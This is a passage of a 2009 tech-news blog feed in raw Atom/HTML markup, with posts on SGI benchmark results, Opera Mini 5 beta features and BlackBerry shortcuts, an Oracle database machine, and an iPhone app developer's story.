the floating point test results &lt;a href="http://www.spec.org/cpu2006/results/rfp2006.html"&gt;here&lt;/a&gt;. SGI's result is more than six times that which IBM can deliver with its 64-core Power 595 machine in raw floating point performance as gauged by SPECfp_rate2000; it is also more than 7.6 times what Hewlett-Packard can deliver in a single system image with 128 of the same Itanium cores in its Integrity Superdome and six times what Fujitsu and Sun can deliver with the 256-core Sparc Enterprise M9000. ®&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6733642975948474927?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6733642975948474927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6733642975948474927' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6733642975948474927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6733642975948474927'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/sgis-itanium-super-smokes-java-test.html' title='SGI&apos;s Itanium super smokes Java test'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5830431700059246189</id><published>2009-09-17T13:50:00.000-07:00</published><updated>2009-09-17T13:51:45.682-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Most Mobile Sites Not Making The Grade</title><content type='html'>&lt;span class="articleText"&gt;Nearly a third -- 31% -- of cell phone-owning consumer now browse the mobile Web at least once a month, according to new data from research firm Yankee Group. Consuming general news and weather, along with searching for specific data are the most popular activities among users. However, of roughly 2 million mobile Web domains, most fail to make the grade. Indeed, most mobile sites earning an average consumer score of 52 on a scale of 1 to 100. In the minority, Google.com, Google.com/m/news, Yahoo.com and MLB.com all scored above 70 on Yankee Group's Mobile Web Report Card. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5830431700059246189?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5830431700059246189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5830431700059246189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5830431700059246189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5830431700059246189'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/most-mobile-sites-not-making-grade.html' title='Most Mobile Sites Not Making The Grade'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7523863247817938129</id><published>2009-09-17T13:47:00.000-07:00</published><updated>2009-09-17T13:50:49.670-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Opera Mini 5 [Preview]</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.techtree.com/ttimages/story/106374_installationscreen.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 225px; height: 400px;" src="http://images.techtree.com/ttimages/story/106374_installationscreen.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.techtree.com/ttimages/story/106374_speeddial.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 225px; height: 400px;" src="http://images.techtree.com/ttimages/story/106374_speeddial.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.techtree.com/ttimages/story/106374_qwertykeypad.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 225px; height: 400px;" src="http://images.techtree.com/ttimages/story/106374_qwertykeypad.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; color: rgb(51, 51, 51); font-size: 12px; line-height: 15px; height: 1%;"&gt;A year after the arrival of &lt;a href="http://www.techtree.com/India/News/First_Look_at_Opera_Mini_42/551-95011-643.html"&gt;Opera Mini 4&lt;/a&gt;, it is now time to graduate to the next version of Opera Mini, arguably the worlds most widely used Mobile Browser.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Beta version of Opera Mini 5 has just been released, and as always, we take close look at the browser. The browser has been released at a time when quite a few contenders have been at Opera heels to gain a foothold in the fiercely competitive mobile browser market. The players apart from Opera include Skyfire, Bolt and even Mozilla's Fennec. With Opera Mini 5, Opera once again seems all set to retain its position in the mobile browser arena.&lt;br /&gt;&lt;br /&gt;Opera Mini 5 takes a giant leap in terms of look and feel with almost nothing that makes it resemble its older brother. The icons, the buttons and almost every element of the browser sports a new, fresher, rounded look - compared to the more "business like" approach of its older versions. Even the icons have been given a facelift. And guess what, the changes here are not just cosmetic. Under the hood, Opera Mini now gets some real firepower - tabbed browsing included. Perhaps the most sought after feature for the browser ever since its inception back in 2005. So, what's new? Lots In fact! Let's take a look.&lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif; color: rgb(51, 51, 51); font-size: 12px; line-height: 15px; height: 1%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The UI&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The first thing you'd notice about the Opera Mini 5, right from the installation procedure, is the changed look and feel of the browser. The white installation window is now black and there is a "new" Opera logo as well. Post installation you get a welcome screen that mimics the look of the Opera Mini's desktop cousin, the Opera 10, complete with speed dials that you can customize according to your browsing habits. Depending on the kind of device you are using, Opera will adjust itself and optimize its looks to suit your device.&lt;br /&gt;&lt;br /&gt;Most of the screenshots you see here are on an Omnia HD and for the same reason some things might not look familiar for those using a normal "keypad" enabled phone. The interface is snappy and responds immediately to your commands. For touch devices, there is a slight resemblance to the Apple and Android browsers with buttons being easily clickable. The URL text entry field is STILL separate from the search box - but they are in the same line instead of being atop each other as in the previous version. A major change we found in the UI is that entering URLs is a lot easier now and clicking a text entry field doesn't lead you to a page where you enter your text and hit OK to come back to the page. In fact, Opera Mini uses a QWERTY keypad of its own on full touchscreen devices (which works quite decently)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="file:///C:/DOCUME%7E1/ISLAMF%7E1/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7523863247817938129?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7523863247817938129/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7523863247817938129' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7523863247817938129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7523863247817938129'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/opera-mini-5-preview.html' title='Opera Mini 5 [Preview]'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8604045668484746903</id><published>2009-09-17T13:46:00.000-07:00</published><updated>2009-09-17T13:47:44.670-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Opera Mini 5 beta offers tabbed browsing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://news.zdnet.co.uk/i/z5/illo/nw/story_graphics/09september/opera_5_mini_beta_5.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 432px; height: 315px;" src="http://news.zdnet.co.uk/i/z5/illo/nw/story_graphics/09september/opera_5_mini_beta_5.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div id="icaption"&gt;&lt;div id="icaption"&gt;&lt;p&gt;Opera has released a beta version of its latest mobile-phone web browser, Opera Mini 5.&lt;/p&gt; &lt;p&gt;The beta, which introduces tabbed browsing, touchscreen operations and password management to the popular browser, was announced on Wednesday.&lt;/p&gt; &lt;p&gt;"The purpose of doing a beta is testing," the Opera Mini team said &lt;a title="Opera Mini 5 beta - Opera.com" href="http://my.opera.com/community/blog/2009/09/16/opera-mini-5-beta" target=""&gt;in a blog post&lt;/a&gt; on Wednesday. "Opera Mini 5 has been in development for a long time and we feel it's about time to push the product live and let you take it for a spin. We rely heavily on your feedback to polish it for the final release."&lt;/p&gt; &lt;p&gt;&lt;a title="Opera updates its mobile browser" href="http://news.zdnet.co.uk/communications/0,1000000085,39290610,00.htm" target=""&gt;Opera Mini&lt;/a&gt; is the most lightweight of the company's browsers, and is available as a free download. &lt;a title="Opera Mobile 9.5 beta released" href="http://news.zdnet.co.uk/software/0,1000000121,39448965,00.htm" target=""&gt;Opera Mobile&lt;/a&gt; is a more full-featured version that is available as a paid-for browser, but is often sold by the company to handset manufacturers for pre-installation.&lt;/p&gt;&lt;/div&gt;&lt;p&gt;Opera has released a beta version of its latest mobile-phone web browser, Opera Mini 5.&lt;/p&gt; &lt;p&gt;The beta, which introduces tabbed browsing, touchscreen operations and password management to the popular browser, was announced on Wednesday.&lt;/p&gt; &lt;p&gt;"The purpose of doing a beta is testing," the Opera Mini team said &lt;a title="Opera Mini 5 beta - Opera.com" href="http://my.opera.com/community/blog/2009/09/16/opera-mini-5-beta" target=""&gt;in a blog post&lt;/a&gt; on Wednesday. "Opera Mini 5 has been in development for a long time and we feel it's about time to push the product live and let you take it for a spin. We rely heavily on your feedback to polish it for the final release."&lt;/p&gt; &lt;p&gt;&lt;a title="Opera updates its mobile browser" href="http://news.zdnet.co.uk/communications/0,1000000085,39290610,00.htm" target=""&gt;Opera Mini&lt;/a&gt; is the most lightweight of the company's browsers, and is available as a free download. &lt;a title="Opera Mobile 9.5 beta released" href="http://news.zdnet.co.uk/software/0,1000000121,39448965,00.htm" target=""&gt;Opera Mobile&lt;/a&gt; is a more full-featured version that is available as a paid-for browser, but is often sold by the company to handset manufacturers for pre-installation.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8604045668484746903?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8604045668484746903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8604045668484746903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8604045668484746903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8604045668484746903'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/opera-mini-5-beta-offers-tabbed.html' title='Opera Mini 5 beta offers tabbed browsing'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2266405844860966156</id><published>2009-09-17T13:43:00.000-07:00</published><updated>2009-09-17T13:45:57.585-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Opera Mini 5 for BlackBerry: Killer Keyboard Shortcuts</title><content type='html'>&lt;p id="artLead" class="articleMagazineLeadText"&gt;Research In Motion's (RIM) BlackBerry browser has long been the laughing stock of the mobile space for its lack of speed. Javascript-heavy pages frequently bring it to a standstill. And since the browser has problems rendering many common Web pages, simply surfing the Web for a quick recipe or to answer a question can be like pulling teeth.&lt;/p&gt;  &lt;!-- IMAGE/VIDEO --&gt; &lt;center&gt;  &lt;!-- related video  (start) --&gt;   &lt;!-- related video  (end) --&gt;   &lt;/center&gt;   &lt;!-- IMAGE/VIDEO - END --&gt;  &lt;!-- AdSense Start --&gt; &lt;div class="col-BC floatRight clearRight leftMargin"&gt; &lt;div class="adMarker_special"&gt;&lt;br /&gt;&lt;/div&gt;      &lt;div style="margin: 5px;"&gt;   &lt;script type="text/javascript"&gt;&lt;!--    google_ad_client = "pub-6760678157294832";    /* 300x250 */    google_ad_slot = "2283882271";    google_ad_width = 300;    google_ad_height = 250;    //--&gt;    &lt;/script&gt;    &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;   &lt;/script&gt;&lt;script&gt;google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_a&lt;/script&gt;Research In Motion's (RIM) BlackBerry browser has long been the laughing stock of the mobile space for its lack of speed. Javascript-heavy pages frequently bring it to a standstill. And since the browser has problems rendering many common Web pages, simply surfing the Web for a quick recipe or to answer a question can be like pulling teeth.&lt;/div&gt; &lt;/div&gt; &lt;!-- AdSense End --&gt; &lt;!-- related articles  (start) --&gt;&lt;!-- related articles  (end) --&gt;                         &lt;p&gt;In other words, BlackBerry users have been dealing with a sub-par browsing experience for quite some time--unless, of course, those users were smart enough to download and install one of the &lt;a href="http://boltbrowser.com/download.html"&gt;few quality third-party mobile browsers&lt;/a&gt; available for RIM smartphones.&lt;/p&gt;  &lt;p&gt;Rumors suggest &lt;a href="http://www.cio.com/article/500493/What_RIM_s_Torch_Mobile_Deal_Means_for_the_BlackBerry_Browser_and_You"&gt;RIM's well on its way to releasing a revamped BlackBerry browser&lt;/a&gt; of its own. But yesterday Norwegian-developer Opera Software upped the BlackBerry browsing-ante with the beta release of its latest mobile browser: Opera Mini 5. Though not BlackBerry-specific--the software's compatible with most Java-based handhelds--it blows RIM's default browser away, with new features like tabbed-browsing, advanced cut-and-paste and a built-in password manager.&lt;/p&gt;  &lt;p&gt;Ted Miller, Opera Software communications manager, &lt;a href="http://advice.cio.com/al_sacco/opera_software_at_ctia_no_new_blackberry_specific_browser_ball_is_in_rim_s_court"&gt;told me last spring that roughly 2.5 million BlackBerry users employ Opera Mini&lt;/a&gt; on their devices. That's more than 15 percent of RIM's total BlackBerry customer base.&lt;/p&gt;  &lt;p&gt;I've been using Opera Mini for years; it's my BlackBerry browser of choice. During that time, I discovered a number of helpful Opera Mini keyboard shortcuts for BlackBerry users with full QWERTY keyboards. However, many of those shortcuts have been modified in Opera Mini beta 5. After some digging, I found the following BlackBerry keyboard shortcuts for Opera Mini 5 beta.&lt;/p&gt;  &lt;p&gt;The numeral keys on your full-QWERTY BlackBerry are used to page up, down, left and right within Opera Mini 5, as well as to zoom in and out on a page. For example:&lt;/p&gt;  &lt;p&gt;    * 2 = Page Up&lt;/p&gt; &lt;p&gt;    * 8 = Page Down&lt;/p&gt; &lt;p&gt;    * 4 = Page Left&lt;/p&gt; &lt;p&gt;    * 6 = Page Right&lt;/p&gt; &lt;p&gt;    * 5= Zoom In/Out&lt;/p&gt;  &lt;p&gt;Your Enter key works to confirm selections, or click a link, just like a tap of the trackball.&lt;/p&gt;  &lt;p&gt;The letter "Q" is the main Opera Mini 5 "shortcut key." Various numeral keys can be pressed along with the letter "Q" to activate browsing shortcuts. For instance:&lt;/p&gt;  &lt;p&gt;    * Q + 1: Clear Page of Cursor, Selection Box&lt;/p&gt; &lt;p&gt;    * Q + 2: Show Blank URL Field to Navigate to New Page&lt;/p&gt; &lt;p&gt;    * Q + 3: Search for Specific Text on a Page&lt;/p&gt; &lt;p&gt;    * Q + 4: Access "Speed-Dial" Home Screen&lt;/p&gt; &lt;p&gt;    * Q + 5: View of Add to Bookmarks&lt;/p&gt; &lt;p&gt;    * Q + 6: View Browsing History&lt;/p&gt; &lt;p&gt;    * Q + 8: Access Browser Settings&lt;/p&gt; &lt;p&gt;    * Q + 9: View or Add to Saved Web pages&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.cio.com/article/print/m.opera.com/next"&gt;Download Opera Mini 5 beta over-the-air&lt;/a&gt; (OTA) via BlackBerry browser, and let me know if I missed any new keyboard shortcuts. You can also &lt;a href="http://help.opera.com/operamini/2.0/en/start.html"&gt;visit Opera's website&lt;/a&gt; for more on Opera Mini.&lt;/p&gt;  &lt;p&gt;Note: Opera Mini 5 is still in beta, and as such, you many encounter some bugs in the software. I've only found a few minor quirks in the 36-hours or so I've been using the app, but I did notice that it consumes quite a bit of free BlackBerry memory when not in use, so make sure you close out the browser when you're done. To do so, tap your BlackBerry Menu key--located directly to the left of your trackball--scroll all the way to the right on the top banner and click the browser on/off power switch.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2266405844860966156?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2266405844860966156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2266405844860966156' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2266405844860966156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2266405844860966156'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/opera-mini-5-for-blackberry-killer.html' title='Opera Mini 5 for BlackBerry: Killer Keyboard Shortcuts'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2555422898132236161</id><published>2009-09-17T13:40:00.000-07:00</published><updated>2009-09-17T13:43:45.119-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Opera Mini 5 beta released for BlackBerry and Java phones</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i.zdnet.com/blogs/tabbed-browsing.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 216px; height: 150px;" src="http://i.zdnet.com/blogs/tabbed-browsing.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;One of the things I enjoy about my Windows Mobile, Android, and Symbian devices is the ability to load up different 3rd party web browsers and today we see that the latest version of &lt;a href="http://www.opera.com/mini/next/"&gt;Opera Mini 5 beta&lt;/a&gt; has been released for installation. Simply go to &lt;a href="http://m.opera.com/next"&gt;m.opera.com/next&lt;/a&gt; in your mobile browser to download the new proxy-based web browser on your BlackBerry or Java-enabled phone. &lt;p&gt;This latest beta of Opera Mini includes support for tabbed browsing, speed dial (one click favorites), optimizations for touchscreen and keypad devices, and a password manager.&lt;/p&gt; &lt;p&gt;One aspect I love about Opera Mini is the ability to login to My Opera and have all my bookmarks appear across mobile platforms.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2555422898132236161?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2555422898132236161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2555422898132236161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2555422898132236161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2555422898132236161'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/opera-mini-5-beta-released-for.html' title='Opera Mini 5 beta released for BlackBerry and Java phones'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8846695957650830039</id><published>2009-09-17T13:37:00.000-07:00</published><updated>2009-09-17T13:40:16.673-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Oracle Unveils Database Machine Made With Sun Micro (ORCL,JAVA,HP)</title><content type='html'>Oracle (NASDAQ:ORCL) unveiled a new version of its database machine that used its own software and hardware from Sun Microsystems (NASDAQ:JAVA) on Tuesday, according to an AP report. Previous versions of the Exadata machine were made in collaboration with Hewlett-Packard (NYSE:HPQ), but Oracle confirmed that it is no longer making machines with that company. Oracle's $7.4 billion acquisition of Sun is currently being held up by an EU investigation of the deal's implications.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8846695957650830039?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8846695957650830039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8846695957650830039' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8846695957650830039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8846695957650830039'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/oracle-unveils-database-machine-made.html' title='Oracle Unveils Database Machine Made With Sun Micro (ORCL,JAVA,HP)'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3522357689670241115</id><published>2009-09-14T18:26:00.000-07:00</published><updated>2009-09-14T18:32:37.160-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>Entrepreneur sees future - on his iPhone</title><content type='html'>&lt;div id="articlestory"&gt;&lt;p&gt;Last year, just as Joe Michels' corporate career was crashing, he saw hope in the form of a tiny gadget: Apple's iPhone.&lt;/p&gt; &lt;p&gt;The software developer watched as dozens of jobs at his Scottsdale firm were outsourced to India and more layoffs loomed.&lt;/p&gt;  &lt;p&gt;So that April, he started Plan B. He spent months on nights and weekends writing My Eyes Only - an iPhone software application that would store log-ins, credit-card numbers and private information in a password-protected, encrypted area. &lt;span id="articleFlex1"&gt;&lt;script type="text/javascript"&gt;OAS_AD('ArticleFlex_1')&lt;/script&gt;&lt;script text="text/javascript" src="http://gannett.gcion.com/addyn/3.0/5111.1/133600/0/0/ADTECH;alias=az-arizonarepublic.azcentral.com/news/articles_ArticleFlex_1;cookie=info;loc=100;target=_blank;grp=289428;misc=1253060847257"&gt;&lt;/script&gt;&lt;iframe src="http://ad.doubleclick.net/adi/N2998.centro.netOX4600/B3778547.71;sz=160x600;click=http%3A//gannett.gcion.com/adlink%2F5111%2F328554%2F0%2F154%2FAdId%3D382619%3BBnId%3D1%3Bitime%3D978104259%3Blink%3D;ord=978104259?" marginwidth="0" marginheight="0" hspace="0" vspace="0" bordercolor="#000000" scrolling="no" width="160" frameborder="0" height="600"&gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N2998.centro.netOX4600/B3778547.71;abr=!ie;sz=160x600;click=http%3A//gannett.gcion.com/adlink%2F5111%2F328554%2F0%2F154%2FAdId%3D382619%3BBnId%3D1%3Bitime%3D978104259%3Blink%3D;ord=978104259?"&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/SCRIPT&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;NOSCRIPT&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;A HREF="http://gannett.gcion.com/adlink/5111/328554/0/154/AdId=382619;BnId=1;itime=978104259;nodecode=yes;link=http://ad.doubleclick.net/jump/N2998.centro.netOX4600/B3778547.71;abr=!ie4;abr=!ie5;sz=160x600;ord=978104259?"&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;IMG SRC="http://ad.doubleclick.net/ad/N2998.centro.netOX4600/B3778547.71;abr=!ie4;abr=!ie5;sz=160x600;ord=978104259?" BORDER=0 WIDTH=160 HEIGHT=600 ALT="Click Here"&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/A&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;/NOSCRIPT&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; &lt;/iframe&gt;  &lt;/span&gt; &lt;/p&gt;&lt;p&gt;Three months after it hit Apple's online App Store, sales seemed on pace to replace his six-figure income.&lt;/p&gt; &lt;p&gt;"I realized I had nowhere to go but up because I could build more apps," said Michels, 47.&lt;/p&gt; &lt;p&gt;Apple boasts that there is an app for almost everything. There are apps that process credit-card sales, check medical symptoms, find cheaper gas stations and even show the value of your neighbor's house.&lt;/p&gt; &lt;p&gt;Michels is among the tech-savvy masses hoping to cash in on app mania. He's also a member of the Phoenix iPhone Developer Group. Nicknamed Pi, the group claims more than 100 mostly seasoned programmers who have soldiered on through the demise of earlier technological frontiers, from the death of the floppy disk to the dot-com burst.&lt;/p&gt; &lt;p&gt;They are all adamant that the iPhone - a mini-computer that is also a phone - is the next big wave of technological innovation. Sure, they would love to win the app lottery and become millionaires. But most of these men (so far there are no women) just hope to quit their day jobs and make a good living building a long-term business.&lt;/p&gt; &lt;p&gt;But with more than 75,000 apps, an explosion from the 500 that debuted 14 months ago, competition is towering, and app millionaires rare.&lt;/p&gt; &lt;p&gt;"For every one of those, there were 10,000 others that put a bunch of work into something that didn't make much money," said Brad O'Hearne, owner of Gilbert-based Big Hill Software LLC and founder of Pi. Wearing a Pi symbol T-shirt, he joked with the group at a recent meeting about many of their dual lives.&lt;/p&gt; &lt;p&gt;"We sound like a support group for superheroes: 'By day I do this, and by night  . . .  .' "&lt;/p&gt; &lt;p&gt;A month into his new venture, Michels' app was doing well, but he couldn't predict how long sales would keep rolling in. Or if it would be possible to one day quit his job.&lt;/p&gt; &lt;h3&gt;Sales roll in  &lt;/h3&gt; &lt;p&gt;Like many good inventions, Michels' idea started with a need. &lt;/p&gt; &lt;p&gt;Two years ago, he ditched work early to buy an iPhone the day the price dropped to $399.&lt;/p&gt; &lt;p&gt;"I knew from the minute I saw it, it was going to be a big hit," he said. "I wanted to absorb it for a while."&lt;/p&gt; &lt;p&gt;Michels quickly found he needed a secure area to store passwords and credit-card numbers. At the time, Apple hadn't released its iPhone Software Development Kit allowing anyone to write applications. So he waited. And in March 2008, he was among more than 100,000 to download the kit within its first four days. The kit gave developers the tools, techniques and permission to create apps.&lt;/p&gt; &lt;p&gt;Even if by trial and error, Michels knew he could write a program to protect sensitive numbers and passwords.&lt;/p&gt; &lt;p&gt;So he got to work. For the next four months, he spent three hours after work every night, and about eight to 10 hours every weekend, hurrying to get the program right and to be among the first to offer such an app. &lt;/p&gt; &lt;p&gt;He missed out on movie nights and time with his wife and two kids. But he persevered, knowing he might be able to create a better future for his family.&lt;/p&gt; &lt;p&gt;When his app finally hit iTunes in late July, it was one of only about three of 